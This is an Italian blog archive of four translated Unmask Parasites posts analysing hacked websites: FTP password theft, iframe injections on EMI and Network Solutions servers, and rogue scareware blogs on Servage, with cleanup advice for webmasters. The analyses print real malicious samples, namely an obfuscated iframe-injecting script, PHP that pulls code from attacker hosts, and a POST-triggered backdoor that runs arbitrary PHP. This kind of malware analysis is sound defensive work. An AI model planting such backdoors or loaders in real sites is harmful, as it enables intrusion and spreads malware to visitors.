Leonardo Musumeci » Unmask Parasites

Programmi inutilizzati – minacce reali

admin — Sat, 16 Apr 2011 09:20:22 +0000

Il post seguente è stato tradotto per gentile concessione di Unmask Parasites

Recentemente ho aiutato una società a risolvere problemi di sicurezza con i loro quattro siti web. Era un attacco del solito iframe injection.
I log FTP mostravano chiaramente come gli hacker avessero usato FTP per infettare file legittimi sul server. Quindi la domanda era, come è stato possibile rubare le credenziali FTP?

Ovviamente li ho indirizzati al mio post, dove avevo descritto come il malware rubasse le password e tutti i dettagli dei login memorizzati nei 10 client FTP più popolari (es. Filezilla, CuteFTP, Total Commander, ecc.).

Infatti, due recenti scansioni alla ricerca di malware hanno rivelato due oggetti sospetti sul loro computer. Uno di loro è stato identificato come “ Spyware.Passwords “. L’unico problema era che il proprietario del sito aveva dichiarato di non utilizzare i client FTP e di tenere tutte le password in KeePass . Inoltre gestiscono 50 siti web e solo quattro di loro sono stati infettati.

Il dubbio è stato chiarito quando hanno trovato una vecchia copia di SmartFTP sul computer. C’erano 5 account FTP (incluse le password) salvati. Quattro di loro erano i quattro siti compromessi! E per quanto riguarda il quinto? Senza dubbio tutte e cinque le credenziali del sito erano state rubate, ma il quinto sito non è stato compromesso perché la password era stata cambiata dopo l’ultimo uso di SmartFTP; così la password rubata non era valida al momento dell’attacco hacker. Questo spiega anche perché i rimanenti 45 siti non sono stati violati: le loro password non sono state rubate.

Lezione appresa

Non solo si dovrebbe evitare di salvare le password nel client FTP in uso, ma anche assicurarsi che non vengano salvate in vecchi programmi che possono risiedere ancora sul computer.

Fonte: Unused Programs – Real Threats

Violato il server EMI

admin — Sat, 16 Oct 2010 17:33:36 +0000

Il post seguente è stato tradotto per gentile concessione di Unmask Parasites .

EMI Music è una delle aziende leader della musica nel mondo, con molte etichette discografiche di successo e annovera artisti popolari quali Beatles, Depeche Mode, Gorillaz, Iron Maiden, Kylie Minogue, Pink Floyd, Queen, Snoop Dogg e molti altri. Hanno come hosting web EMIHosting.com, che fornisce spazio web per i siti di EMI e molti siti ufficiali degli artisti.

All’inizio di settembre EMI Hosting.com è stato attaccato da alcuni hacker. Più di un centinaio di siti web su un server con indirizzo IP 195 .225 .83 .57 sono stati infettati con un iframe dannoso. La pagina di diagnostica di Google per AS34401 (EMIMUSICGROUP) recita:

Tra i 279 siti testati in questa rete negli ultimi 90 giorni, 112, inclusi, ad esempio, richardhawleyforum.co.uk/, emirecords.co.uk/, emimusic.co.uk/; fornivano contenuti che permettevano di scaricare e installare software dannoso senza il consenso dell’utente.

Tra gli altri domini infetti possiamo notare (tutti i link puntano alle pagine di diagnostica di Google ) EMI Classics, Virgin Classics oltre a i siti ufficiali di Pink Floyd, David Gilmour, Gorillaz, Massive Attack, Coldplay, Brian Ferry.

La maggior parte sono già stati ripuliti e sbloccati da Google. Comunque alcuni siti rimangono nella blacklist ( i loro proprietari non hanno richiesto un’analisi del malware), ad esempio, i siti di Kate Bush e l’ album di Ray Charles “Genius loves company” .

Ancora infetti

Almeno15 siti che ho verificato contengono ancora iframe dannosi, in tutte le pagine o in alcune sezioni dei siti. Il 25 settembre 2010, i siti seguenti erano ancora pericolosi per la navigazione ( i link puntano ai report in tempo reale di Unmask Parasites ):

Codice dannoso

Tutti i siti infetti contengono questo iframe nascosto proveniente da “hxxp://virtuellvorun .org/zl/s2”

e tutte le pagine di diagnostica di Google riportano il dominio “virtuellvorun .org” come causa principale del problema.

L’ attuale codice HTML iniettato è:

Può essere trovato in sezioni differenti nel codice delle pagine web.

Lo stesso attacco ha colpito TechCrunch?

Un’ informazione ancora più interessante è presente nella maggioranza dei siti web: il codice dannoso è stato individuato inizialmente il 5 e il 6 settembre . Questo, probabilmente, è il periodo in cui è avvenuto l’attacco. Secondo il servizio di Google Safe Browsing, lo stesso dominio “virtuellvorun .org” si è rivelato la fonte dell’infezione per i siti violati di TechCrunch (MobileCrunch, CrunchGear, TechCrunch Europe ) esattamente nello stesso periodo di tempo ( 6 settembre ).

Speculazioni sullo scenario di attacco

Ecco cosa penso potrebbe essere accaduto. Intorno al 5 settembre, gli hacker hanno utilizzato una falla di sicurezza in uno dei siti ospitati da EMI (molti di loro usano vecchie versioni di phpBB e WordPress) per caricare alcuni script backdoor e/o shell web.

Successivamente hanno usato gli script caricati per trovare siti con permessi sui file deboli e li hanno infettati. Poi gli amministratori di EMI hosting hanno rilevato la violazione e hanno cercato di ripulire i siti infetti. Purtroppo non hanno eseguito analisi a livello server e hanno omesso alcuni siti che contenevano injection pericolose.

Spero che questo articolo aiuterà EMI Hosting a trovare e ripulire i siti ancora infetti, che prendano in considerazione il rafforzamento dei loro server e raffinino le loro policy di sicurezza per impedire violazioni future a livello server; dopo tutto ospitano siti molto popolari e simili attacchi hacker espongono molti appassionati di musica al malware.

Ai navigatori

Come è possibile vedere, anche siti di notevoli dimensioni e con una grossa reputazione sono in grado di diffondere malware. Dovreste essere preparati al fatto che ogni sito web che visitate possa cercare di installare furtivamente qualcosa di dannoso sul computer. Per ridurre al minimo i rischi di infezione, il vostro sistema (sistema operativo, browser, i plugin, Flash, Java, Adobe Reader, ecc… ) dovrebbe essere sempre aggiornato con tutte le patch. Inoltre, vi suggerisco di usare NoScript su Firefox: questa estensione, altamente personalizzabile, blocca efficacemente qualsiasi contenuto che venga attivato da siti non attendibili; in questo caso particolare, il browser semplicemente ignorerà gli iframe dannosi.

Dite la vostra

Siete a conoscenza di alcuni dettagli in merito alle violazioni di EMI/TechCrunch? Cosa ne pensate? I vostri commenti sono i benvenuti.

Fonte: EMI Server Hacked

Network Solutions e la vulnerabilità di WordPress

admin — Tue, 11 May 2010 17:42:50 +0000

Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites

Ho notato questo iframe nascosto hxxp://networkads .net/ grep/ il 7 aprile.

Subito hanno attirato la mia attenzione questi strani script “iframe_style” nei report di Unmask Parasites (ho anche pensato fosse un bug in Unmask Parasites, ma controllando il sito infetto ho trovato gli stessi script).

Tuttavia è stato un incidente isolato e non ho notato alcun pattern evidente. Due giorni dopo, quando ho notato l’ articolo di David (Sucuri Security) su questo argomento e il follow-up di Brian Krebs, ho deciso di dare un’occhiata più da vicino.

Quello che ho trovato è molto interessante e solleva alcune domande serie in merito alla sicurezza dei siti web sui server condivisi.

Un breve riassunto degli articoli di David e Brian

1.Numerosi blog con WordPress sono stati recentementi violati. Qualcuno ha iniettato l’iframe che inserisce il seguente contenuto dannoso dai server di networkads .net

networkads .net/ grep/">

2. L’injection è stata fatta tramite database di WordPress. Gli hacker hanno sostituito il valore dell’opzione siteurl del database wp_options (il prefisso della tabella può essere diverso nel vostro caso) con il codice iframe:

'

3. Questa modifica silente dei parametri siteurl, ha violato la maggior parte dei blog (sia visivamente che funzionalmente); in quanto ci sono molte dipendenze dal parametro siteurl in WordPress. Così i webmaster dovranno ripristinare manualmente il valore di questo parametro per l’URL del sito nei loro database MySql (che dovrebbe essere qualcosa del tipo: http://yoursite.com/blogroot).

4. Tutti i siti interessati sono ospitati da Network Solutions.

Le mie scoperte

Ricerche Google

La violazione spezza il codice html. Questa è una linea tipica del linguaggio html, interrotta da questa iframe injection:

/xmlrpc.php" />

Poiché la maggior parte dei temi WordPress utilizza attivamente il parametro siteurl nella sezione dell’ html, questo codice spezzato li fa assomigliare a questo:

ciò permette di creare una query di ricerca di Google che restituirà i blog similmente violati. Per esempio: wp-content text/css media screen xmlrpc.php -pingback questa ricerca produce circa 5.000 risultati .

Molti puntano ai blog violati. Questi 5.000, naturalmente, includono pagine indicizzate più volte dagli stessi siti; ma ho potuto trovare facilmente più di 60 blog infetti nelle prime 10 pagine dei risultati della ricerca. ( Attenzione: molti blog sono ancora infetti al momento in cui scrivo.)

Soltanto Network Solutions

Tutti questi blog sono ospitati da Network Solutions. Non un solo sito infetto è al di fuori della loro rete. Ciò significa che questo particolare attacco è limitato ai server di Network Solutions.

Ip dei server

La maggior parte dei blog infetti ( 40 e più ) si trovano sul server con indirizzo IP: 205.178.145.65

Ho trovato anche blog infetti con le stesse modalità in più di 16 Ip di Network Solutions :

205.178.145.85 205.178.145.86 205.178.145.99 205.178.145.105 205.178.145.116 205.178.189.131 206.188.192.204 206.188.193.32 206.188.193.63 206.188.193.63 206.188.193.64 206.188.193.179 206.188.193.195 206.188.193.220 206.188.193.250 206.188.196.127 206.188.211.27

La violazione non riguarda solo il database

Questo attacco non solo inietta il codice iframe nel database WordPress, in alcuni siti gli hacker iniettano il codice iframe (leggermente modificato) direttamente nei file sui dischi.

I luoghi dell’injection suggeriscono che il codice non sia stato preso dal database.

Domini diversi

networkads .net non è stato l’unico nome di dominio usato da questo attacco. Prima gli hacker utilizzavano binglbalts .com e ora usano mainnetsoll .com/ .

Tre domini che puntano allo stesso server con indirizzo 64.50.165.169 (Lunar Pages), che sembra essere un server dedicato violato (o server virtuale dedicato), con diversi siti legittimi.

Secondo whois:

binglbalts .com creato il 1 aprile 2010
networkads .net creato il 4 aprile 2010
mainnetsoll .com creato il 10 aprile 2010

Contrariamente a questo breve storico, secondo il database di Google Safe Browsing, binglbalts. com e networkads.net hanno già modificato numerosi server su 3 network differenti.

Aggiornamento: script offuscato

Quando ho pubblicato questo articolo, ho verificato i siti compromessi ancora una volta e ho scoperto questo script offuscato su uno di loro:

e v a l(function(p, a, c, k, e,d){e=function(c){return c.toString(36)};if(!''.replace(/^/,String)){while(c--){d[c.toString(a)]=k[c]||c.toString(a)}k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1};while(c--){if(k[c]){p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c])}}return p}('h f(a,8,d){6 3=i m();3.l(3.k()+(d*n));6 5="; 5="+3.j();4.9=a+"="+8+5+"; "}6 c=4.9;b(c.v("g")==-1){4.o(\'\');f("g","1",x)}',35,35,'||this|date|document|expires|var|src|value|cookie|name|if||hours|iframe|addCookie|seref|function|new|toGMTString|getTime|setTime|Date|3600000|write|com|grep|height|width|http|mainnetsoll|indexOf|frameborder|24|onload'.split('|'),0,{})) ;

Era subito dopo il tag .

Questo script verifica la presenza di un cookie chiamato seref. Se tale cookie non è presente, inietta un iframe nascosto proveniente da hxxp://mainnetsoll.com/ e imposta questo cookie seref per un giorno.

Come si può vedere l’attacco evolve costantemente e questa volta il codice dannoso viene iniettato direttamente in un file di WordPress.

Altre violazioni

Sembra che questi ultimi iframe injection non sia la prima volta che vengano usati per attaccare i blog WordPress sui server di Network Solutions. I segni di altri attacchi sono ancora visibili.

Hidden links

Alcuni dei blog violati contengono centinaia di link spam, visibili solamente se si naviga disattivando JavaScript. Per qualche motivo, ogni link è racchiuso tra tag e usa rel=”nofollow”nei parametri dei tag. Quindi qual è il suo uso, se non vien utilizzato da chi naviga sul web, né dai motori di ricerca?

I link sono seguiti da iframe nascosti di networkads.

alkoltashov.narod.ru

Ho trovato inoltre una dozzina di blog WordPress infetti che traggono gli hidden link da hxxp://alkoltashov.narod.ru/ sites.txt. I link dovrebbero mostrare

esternamente rispetto all’area visibile, ma a causa della configurazione dei server di Network Solutions, che non permette l’accesso ai file tramite url, questa injection fallisce restituendo l’errore seguente (anch’esso mostrato oltre l’area visibile ):



Warning:  readfile() : URL file-access is disabled in the server configuration in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163

Warning:  readfile(hxxp://alkoltashov .narod .ru/ sites.txt) : failed to open stream: no suitable wrapper could be found in /data/path/to/the/user's/account/wordpress/wp-content/themes/themename/header.php on line 163

Secondo la cache di Google, questa injection di link in remoto è avvenuta a gennaio.

Ed è limitata ai blog sui server di Network Solutions.

WebEasySearch. com

Alcuni dei blog violati, inoltre, reindirizzano i risultati dei motori di ricerca verso il sito webeasysearch .com.

Questo avviene solamente se non avete già visitato il blog violato (probabilmente vengono verificati i cookie di WP).

Questa violazione cifra la stringa della query del motore di ricerca e la passa a webeasysearch ( webeasysearch .com ), che la decifra e visualizza i propri risultati per la stessa query.

Scommetto che sia effettuato da qualche codice PHP iniettato nel file di WordPress.

Lo stile della violazione e la gamma dei siti colpiti, mi fanno pensare che tutte queste violazioni siano state realizzate dallo stesso hacker.

Conclusione

1. Gli hacker, decisamente, hanno come obiettivo i blog WordPress, ma dubito che sia stata sfruttata una qualsiasi vulnerabilità di WordPress. Altrimenti avremmo assistito ad altre violazioni simili non solo sui server di Network Solutions.

2. Allo stesso tempo però, sono interessati più di una dozzina di server di Network Solutions. Potrebbe esserci una falla di sicurezza (o una minima vulnerabilità ) sulla loro rete. Dovrebbero esaminare seriamente il problema.

3. Sono d’accordo con David di Sucuri Security, che pensa che tutto ciò possa essere eseguito tramite l’accesso ad un unico account compromesso (o anche creato legalmente da alcuni hacker). Gli hacker possono utilizzare questo account per eseguire script che leggono il contenuto dei file di wp-config.php su account neighbor (secondo una ricerca con reverse IP ci sono diverse migliaia di siti sul server con IP 205.178.145.65).

È abbastanza facile ( non svelerò i trucchi del perfetto hacker ma funzionano bene sui server di Network Solutions ) identificare i siti con blog WordPress su qualsiasi server e di conseguenza identificare i percorsi assoluti del file wp-config.php, che contengono i dati d’accesso al database e i nomi delle tabelle di WordPress, il tutto in chiaro. Gli hacker, successivamente, hanno semplicemente bisogno di eseguire un altro script che inietti quello che vogliono nei database dei loro neighbour server.

Allo stesso modo qualsiasi codice dannoso può essere iniettato in tutti i file scrivibili nell’account neighbor.

Vulnerabilità progettuale di WordPress

Sui server condivisi è possibile proteggere i propri file da neighbor dannosi, rendendoli di sola lettura. Solitamente i permessi sui file a 644 e sulle directory a 755 sono sufficienti.

Tuttavia se i neighbor, in qualche modo, riescono ad ottenere l’accesso, possono fare ciò che vogliono con il vostro database. Nel caso di WordPress, è sufficiente leggere il file wp-config.php nella root del blog WordPress.

Per nascondere il contenuto del file wp-config.php dai server neighbor, David (Sucury Security) consiglia che questo file debba avere 750 ( credo volesse dire 640 , in quanto il permesso di esecuzione non è necessario ). Purtroppo, questo funziona solo sui server con suPHP. Su altri server dove il server web esegue gli script PHP con propri diritti, questo stratagemma rischia di danneggiare completamente i blog WordPress. Ogni pagina restituirà l’errore Failed opening required ‘wp-config.php’” .

Questo significa che i blog di WordPress sono vulnerabili a questo tipo di attacco sulla maggior parte dei server condivisi . Basta violare un account (la maggior parte dei server condivisi hanno più account violati), o addirittura creare un account appositamente per l’hacking e sarà possibile guadagnare l’accesso al database MySQL dei vostri neighbor che abbiano un blog con WordPress. Qualsiasi altro web script che dipenda da un database e che memorizzi i dati d’accesso in chiaro, è anch’esso vulnerabile.

I ragazzi di WordPress sono consapevoli di questo problema sui server condivisi ma, per qualche motivo, danno anche questo strano consiglio sui permessi a 750 per wp-config.php, che è sbagliato (750 invece di 640) e funziona soltanto sui server suPHP :

Se siete su un server condiviso i permessi della directory wp-config.php dovrebbero essere a 750. Questo significa che nessun altro utente sarà in grado di leggere il nome utente e la password del vostro database. Se si dispone di FTP o accesso alla shell, procedere come segue:

chmod 750 wp-config.php

Quindi non c’è un modo universale per proteggere i dati d’accesso al database sui server condivisi. Vedo sempre più attacchi caratterizzati da un account compromesso su un server condiviso e successivamente utilizzato per violare altri siti sullo stesso server. È il momento di rivedere l’approccio utilizzato verso il file wp-config.php .

Dite la vostra

Cosa pensate del problema dei file wp-config.php universalmente leggibili sui server condivisi? Qualche idea su come risolverlo?

Se siete un cliente di Network Solutions ed il vostro sito è stato violato, mi piacerebbe sapere anche le vostre esperienze.
Potreste raccontarci quali permessi sui file utilizzate (soprattutto se siete stati vittime degli attacchi di alkoltashov .narod .ru and WebEasySearch ) ?

Altri commenti sono i benvenuti.

Post correlati:

Fonte: Network Solutions and WordPress Security Flaw

Funzioni interne dei rogue blog

admin — Fri, 26 Mar 2010 18:58:16 +0000

Il post seguente è stato tradotto, previa autorizzazione, dal blog Unmask Parasites. Blog.

A novembre, ho scritto in merito ai rogue blog , creati nelle sottodirectory di siti legittimi. I blog contaminavano i risultati delle ricerche di Google per milioni di parole chiave relativamente poco comuni (the long tail), reindirizzando i visitatori a siti web scareware.

Questo hack principalmente interessava i siti ospitati sul network Servage .

Recentemente sono stato contattato da uno dei clienti di Servage che ha trovato alcuni dei propri siti violati:

ho notato traffico anomalo verso domini parzialmente o interamente utilizzati per gli indirizzi email (SMTP forwarding, niente di così ‘intelligente’ con la webmail.). Questo m’ha portato ad analizzare le strutture dei file ed una rapida occhiata su Google mi ha portato al tuo sito.

Mi ha inviato il file incriminato che si trovava nel suo account (grazie Matthew). Ora posso condividere la mia analisi dei file con tutti voi.

Nel mio post precedente, ho speculato sulla struttura interna dei rogue blog. Ora che ho i file, posso dire che tutte le mie ipotesi si sono rivelate corrette.

Motore del Blog

Appunto, un motore PHP full-optional ancora minimalista potenzia i rogue blog. L’intero motore è composto di soli 4 file:

index.php – file principale del motore. Meno di 500 righe di codice PHP. Meno di 18K byte su disco.
template.php – template delle pagine Web che utilizza i dati forniti da index.php. Circa 20 Kbytes.
categories.dat – categorie del blog serializzate.
. htaccess – rewrite rules per supportare gli URL SEO friendly.

Questo motore è veramente anonimo. Non sono riuscito a trovare eventuali credits. Nessun nome, o licenza. Solo il codice. L’unico indizio che ho trovato è stata questa stringa User-Agent delle richieste ping: WeirD blog engine.

Caratteristiche

Il motore può fare tutto ciò che ci si aspetta da un motore per blog.

aggiungere/rimuovere voci
separare le voci per categorie
mostrare le voci in ordine cronologico
supporto per gli url SEO friendly
notifica servizi come Ping-O-Matic, Technorati, Google Blogsearch, Weblogs sui nuovi post.
feed RSS
supporto per i trackback
supporto per template personalizzati

File semplici

Le voci (sono centinaia) sono memorizzate in semplici file . txt nella stessa directory. Questo rende il motore indipendente dal database, in modo da poter lavorare su più server. Gli unici requisiti sono:

PHP
autorizzazioni per le directory sufficienti per creare file
Apache (per usare URL SEO-friendly)

Ecco un esempio di uno di questi file di testo (blonde-avril-lavigne.txt):

blonde avril lavigne

Come potete notare i file sono chiari. Al titolo della prima riga segue subito il contenuto. Nel nostro caso il contenuto è composto da cinque immagini (i risultati della ricerca su Google Immagini per le parole chiave corrispondenti ).

. htaccess

Poiché lo scopo del rogue blog è la contaminazione dei risultati di ricerca, l’ url “SEO-friendly” è una caratteristica necessaria del motore di questo blog. Questo motore utilizza rewrite rules di .htaccess.

RewriteEngine On RewriteRule ^category/([^/\.]+)/?$ index.php?category=$1 [L] RewriteRule ^category/([^/\.]+)/page/([0-9]+)/?$ index.php?category=$1&page=$2 [L] RewriteRule ^download/([^/\.]+)/?$ download.php?id=$1 [L] RewriteRule ^page/([0-9]+)/?$ index.php?page=$1 [L] RewriteRule ^([^/\.]+)/?$ index.php?id=$1 [L] RewriteRule ^rss20.xml$ index.php?action=rss [L]

Caratteristiche dannose

Ciò che rende questi blog dannosi sono le seguenti modifiche al motore originale.

css.js

Tutte le pagine del blog contengono il seguente tag script:

Lo script reindirizza i visitatori che provengono dai motori di ricerca verso siti scareware. Il contenuto di questo script cambia in maniera costante, reindirizzando le persone verso nuovi siti, non ancora presenti nelle blacklist.

Ecco come lo fanno dietro le quinte:

function get_js_file($filename) { if (!file_exists($filename) or time() - filemtime($filename) > 3600) { $js_file = @file_get_contents('hxxp://t.xmlstats .in/b-m-2/'.$filename); if (!$js_file) { $js_file = @file_get_contents('hxxp://t.jsonstats .in/b-m-2/'.$filename);} if ($js_file) { @file_put_contents($filename, $js_file);} }}

Come si può vedere, questo codice cerca di aggiornare il file css.js, scaricando il suo nuovo contenuto da siti hacker:

t.xmlstats. in , t.jsonstats. in e, in alcune versioni del motore, t.jsstats. in .

In questo modo gli hacker si assicurano che i loro blog reindirizzino sempre verso siti scareware perfettamente funzionanti.

Anti-Googlebot

Un’altra modifica è rappresentata dal codice che individua le richieste provenienti dal network di Google, verificando l’indirizzo IP tra gli intervalli noti.

Se viene rilevata una richiesta da parte di Google, il file css.js viene sostituito con css.google.js .
In questo modo gli hacker cercano di nascondere i reindirizzamenti dannosi dal Googlebot quando indicizza i rogue blog.

Se molti blog simili compaiono nei risultati di ricerca di Google senza nessuna segnalazione, significa che questo semplice trucco fa bene il proprio lavoro.

Diverse generazioni

In novembre ho scoperto che c’erano state molte generazioni diverse di rogue blog. Controllando i file ricevuti da Matthew, ho trovato quelle generazioni in sottodirectory separate: blog, bmblog, bmsblog.

Script backdoor

Un altro file interessante che ho ricevuto è stato index.php, che precedeva le directory con i rogue blog:

error_reporting(E_ALL); if (md5($_POST['5758e26e']) == '068f4646e8e1aefcdcd184e31e33af47') { $test_func = create_function('', urldecode($_POST['f'])); $test_func(); } ?>

Questo è un tipico script backdoor che esegue qualunque codice PHP che gli hacker scelgano d’inviare nei parametri delle richieste POST.

Apparentemente questo script è stato utilizzato per creare tutti gli altri file e directory rogue. La questione è come mai questo script backdoor sia arrivato qui, al primo posto.

Quando Matthew ha chiesto a Servage cosa stesse accadendo ai suoi siti, lo hanno accusato di utilizzare script poco sicuri, nonostante il il fatto che il suo sito non utilizzasse nessun script.

Come ho mostrato nel mio post precedente , oltre l’85% dei blog rogue scoperti, sono ospitati da Servage; quindi sono quasi certo che sia stata utilizzata qualche vulnerabilità specifica di Servage.( Pura speculazione: ad esempio, potrebbe essere una shell php che gli hacker utilizzano per trovare account utente con directory scrivibili. E l’architettura interna di Servage potrebbe aiutare questo script a propagarsi su diversi server fisici. )

Ancora attivo

Nonostante la prima generazione di questi rogue blog sia apparsa in aprile dell’anno scorso, questo attacco è ancora attivo. Riesco ancora a vedere parecchi rogue bmsblog blog con le date dei post più recenti di marzo 2010. E alcuni di loro (non tutti comunque) possono essere trovati tramite una ricerca di Google inurl:bmsblog/category 2010.

Nonostante questo particolare attacco colpisca soprattutto i clienti della società di hosting Servage, è abbastanza tipico per questi hack tentare di creare pagine web rogue nei siti web compromessi. Quindi il seguente consiglio dovrebbe essere utile per la maggior parte dei webmaster.

1. Assicuratevi che le directory dei server siano scrivibili soltanto da voi. In particolare nel caso di un ambiente di hosting condiviso, dove gli hacker possono utilizzare un account neighbor compromesso per trovare le directory scrivibili negli altri siti sullo stesso server e creare contenuti rogue.

2. Effettuate un’analisi regolare del server alla ricerca di file e directory sospetti.

3. Controllate regolarmente i raw server log. Potreste trovare richieste di file che non dovrebbe essere presenti.

4. Prestare particolare attenzione alle richieste POST. Sono molto usate per gli script backdoor. Basta compilare un elenco di file accessibili tramite le richieste POST e verificare se ne riconoscete alcune.

5. Molti piani di hosting condiviso includono Webalizer . Ogni tanto controllate i suoi report. Nonostante non siano così utili come i rapporti di Google Analytics, hanno un vantaggio importante: tracciano tutti i file del vostro account, non solo quelli in cui è stato inserito un codice di monitoraggio. Così, in Webalizer, è possibile vedere le richieste dei file create dagli hacker, mentre in Google Analytics questo tipo di dati manca completamente .

6. Gli hacker, di solito, creano pagine web rogue per contaminare i risultati delle ricerche di Google. Quindi è naturale usare Google per rilevare questo tipo di hack. Utilizzate regolarmente Google per verificare ciò che è indicizzata sul tuo sito. Utilizzate il comando di ricerca site:you_site_domain.com

7. Controllate regolarmente i report in Strumenti per i Webmaster .
Potrebbero rivelare anche attività sospette. Report utili: Principali query di ricerca , Parole chiave , Link che rimandano al tuo sito .

8. Se trovate nuove directory con file rogue, negate loro i permessi in robots.txt .
Questo mostrerà a Google che non si desidera che queste directory vengano indicizzate. In caso contrario, anche se si elimina il file, Google può tenerli in indice per parecchio tempo (chi lo sa, forse l’avete rimosso temporaneamente mentre, per esempio, state riprogettando il sito).

Ad esempio, se trovate file pericolosi in /cgiproxy/bmsblog/ il file robots.txt deve essere:
User-agent: * Disallow: /cgiproxy/bmsblog/

9. Non dimenticate gli altri tipi di hack che pasticciano con i file esistenti. Controllate regolarmente la coerenza del vostro sito e vigilate su qualsiasi contenuto illecito che gli hacker possano iniettare nelle pagine web ( in questo caso il mio servizio Unmask Parasites può aiutare).

Chiama per ulteriori informazioni

Questo caso non è stato ancora completamente investigato. Ad esempio, ancora non so perché colpisca soprattutto Servage e come esattamente si propaghi. Queste informazioni potrebbero esser utili ai clienti di Servage per prevenire l’infezione dei loro siti.
Probabilmente anche i ragazzi di Servage hanno bisogno di queste informazioni, visto che pare non possano fermare questo attacco da soli ( è in corso da circa un anno !!!)

Se avete informazioni interessanti su altri tipi di attacchi hacker, vi invitiamo a condividerle con me e i lettori di questo blog. Sono sempre alla ricerca di file dannosi che i webmaster trovino su server compromessi. Possono dire molto su come funzionino gli attacchi.

Quindi prima di eliminare qualsiasi contenuto pericoloso, prima di tutto contattatemi.

Grazie per aver letto questo blog. I vostri commenti sono benvenuti .

Post correlati:

Fonte: Internals of Rogue Blogs